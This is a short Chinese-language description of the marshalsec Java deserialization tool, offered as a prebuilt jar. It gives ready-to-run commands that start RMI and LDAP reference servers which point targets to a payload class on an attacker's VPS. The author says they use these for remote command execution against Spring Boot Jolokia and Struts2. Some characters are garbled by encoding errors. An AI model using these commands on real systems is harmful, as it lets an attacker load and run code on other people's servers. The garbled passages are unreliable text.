Moritz Bechler編寫，源碼地址為：https://github.com/mbechler/marshalsec，下載下來之后使用maven編譯，此工具為編譯好的jar包，方便沒有編譯環(huán)境的同學(xué)們直接jar包開啟ldap和rmi服務(wù) 開啟rmi服務(wù) java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://VPS/ExportObject 1099 開啟ldap服務(wù) java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/ExportObject 1389 我使用這個(gè)來測試springboot jolokia的遠(yuǎn)程命令執(zhí)行，也可以測試struts2 S系列的漏洞